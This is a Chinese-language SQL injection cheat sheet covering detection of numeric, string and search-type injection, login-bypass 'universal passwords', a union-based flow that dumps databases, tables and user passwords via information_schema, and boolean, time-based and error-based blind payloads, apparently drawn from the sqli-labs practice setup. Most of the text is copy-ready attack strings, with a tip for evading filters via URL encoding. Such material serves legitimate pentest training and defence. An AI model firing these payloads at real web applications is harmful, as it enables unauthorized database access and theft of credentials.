sql注入详解
4、检测方法
首先是判断能不能进行sql注入
是哪种sql注入
(1)数字型
?id=1 and 1=1 返回成功?id=1 and 1=2 返回失败
这说明是数字型注入,或者叫整型注入
此时后台是
select * from where id = x and 1=1select * from where id = x and 1=2
显然一个判断为真,一个判断为假
(2)字符型
比如后台是
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";
那类比整型注入
?id=1' and '1'='1 返回成功?id=1' and '1'='2 返回失败
还有更简单点的
?id=1' 报错?id=1' --+ 正常
当然这里除了'
还有可能是"、')、")等
(3)搜索型
搜索',如果出错,说明90%存在这个漏洞
搜索%,如果正常返回,说明95%有洞了
搜索一个关键字,比如test,正常返回所有test相关的信息
再搜索test%'and 1=1 and '%'='和test%'and 1=2 and '%'='
(4)万能密码
用户密码登录时
在用户或密码栏尝试如下
1' or '1'='1' or 1=1 or '' or 1=1 --1' or '1'='1' or '1'='1
类似这样的语句
(5)注意事项
如果应用程序已经过滤了' 和 + 等特殊字符,可以在输入时把字符转换成URL编码(即字符ASCII码的16进制)来绕过检查
不同sql服务器语法不同,如mysql用+连接字符串,Oracle使用||
5、基本流程
以字符型注入为例
整型类比着来就是了
现在假设我们通过测试
知道是单引号字符型注入
先用order by猜列数
?id=1' order by 3 --+ 正常?id=1' order by 4 --+ 报错
这就说明共3列
然后用union查询看哪个列会返显
?id=-1'union select 1,2,3--+
比如返回了数字2
说明第2列会返显
那就可以继续了
爆数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆数据表
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆列
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name=table_name--+
爆数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
这就是个最基本的sql注入流程
6、盲注
上面的基本流程是显错的
即报错会返显
但大部分时候是没有这么好的事儿的
需要利用一些方法进行判断或者尝试
这就是盲注了
主要有
基于布尔sql盲注
基于时间的sql盲注
基于报错的sql盲注
布尔盲注和延时盲注最好用sqlmap或脚本
手工注入工作量太大了
(1)布尔盲注
布尔型注入中,正确会回显,错误没有回显
用以下的函数进行注入和猜测
left(string, n)
得到字符串左部指定个数的字符
string为要截取的字符串,n为长度
admin' and left((要注入的语句),1)='xxx’#admin' and left((select database() limit 0,1),1)='s'#
substr(string, start, length)
截取字符串,mid()函数用法一样
string为要截取的字符串,start为开始位置,length为截取的长度
substr(DATABASE(),1,1)>'a' 查看数据库名第一位substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>'a'
ascii()
将某个字符转换为ASCII码的值,常配合截取函数使用
ascii(substr((语句),1,))=xxx //二进制admin' and ascii(substr((要注入的语句),0,1))=102#admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#
ord()
同 ascii(),将字符转为 ascii 值
ord(mid((语句),1,1))=xxx // 十六进制admin' and ord(mid((select username from security.users limit 0,1),1,1))=68#admin' and ord(mid((select password from security.users limit 0,1),1,1))=68#
regexp
正则注入函数
xxxx regexp '\^us[a-z]'admin' and ((要注入的语句) regexp '\^se' limit 0,1)#admin' and (select database() regexp '\^se' limit 0,1)#
(2)延时盲注
时间延迟注入,正确会延迟,错误没有延迟
也是用以下函数进行注入和猜测
sleep() 函数
?id=1' and sleep(5)--+?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)#?id=1' union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#?id=1' and if(ascii(substr((要执行的语句),1,1))=115,sleep(5),1)#?id=1' union select (if(substring((要执行的语句),1,1)=char(115),sleep(5),1)),2,3#
benchmark(count,expr)函数
count为次数,expr为要执行的表达式
可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功
?id=1' and (select 1 from (select concat((ascii(substr((要执行的语句),1,1))=115),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#?id=1' and if(ascii(substr((要执行的语句),1,1))=115,benchmark(50000000,encode('msg','key')),1)#?id=1' union select (if(substring((要执行的语句),1,1)=char(115),benchmark(50000000,encode('msg','key')),1)),2,3#?id=1' and (select 1 from (select concat((ascii(substr((database()),1,1))=115),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#?id=1' and (select 1 from (select concat((select username from security.users limit 0,1),benchmark(50000000,encode('msg','key')))x from information_schema.tables group by x)a)#?id=1' and if(ascii(substr(benchmark(50000000,encode('msg','key')),1,1))=115,sleep(5),1)#?id=1' union select (if(substring((select database() limit 0,1),1,1)=char(115),benchmark(50000000,encode('msg','key')),1)),2,3#
当结果正确的时候,运行encode(‘msg’,’key’)操作50000000 次,会占用一段时间
benchmark()函数,可以测试某些特定操作的执行速度
该函数只是简单地返回服务器执行表达式的时间,而不会涉及分析和优化的开销。
还有一些奇技淫巧
类似benchmark,边信道攻击,占用大量的运算和时间
(3)报错盲注
利用 floor(rand(x)*2) 的执行bug进行报错注入
取得 0 or 1,进行数据的重复
concat 计数
group by 进行分组
需要将 rand(0),rand()需要多试几次
?id=1' union select 1,count(*),concat((你希望的查询语句),floor(rand(0)*2)) as a from information_schema.columns group by a#?id=1' and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2)) as x from information_schema.tables group by x)a)#?id=-1' union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
利用 extractvalue() 函数报错注入
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
有长度限制,最长32位,mysql 5.0不可用,mysql 5.6可用
?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句)))#?id=-1' and extractvalue(1,concat(0x7e,((select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a))))#?id=1' and extractvalue(1,concat(0x7e,(database())))#?id=1' and extractvalue(1,concat(0x7e,((select * from(select concat((select username from security.users limit 0,1))x from information_schema.tables group by x)a))))#
利用 updatexml() 函数报错注入
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
有长度限制,最长32位
?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
利用 name_const 数据的重复性
低版本可用,mysql 5.0可用,mysql 5.6不可用
mysql 重复特性,报错
?id=1' union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #?id=1' and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
利用 double 数值类型超出范围进行报错注入
Exp()为以 e 为底的对数函数
版本在 5.5.5 及其以上
?id=1' union select (exp(~(select * from(select user())a))),2,3#
下面为句式:
!(select*from(select user())x)-~0(select(!x-~0)from(select(select user())x)a)(select!x-~0.from(select(select user())x)a)select ~0+!(select*from(select user())x)
句式组合:
(select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a)
遇到无法使用 select * from * 查询的时候,可以使用这个万能句式,代替下面的“你希望的查询语句”
?id=1' and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句)))#?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#?id=1' and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#?id=1' union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #?id=1' union select (exp(~(select * from(select user())a))),2,3#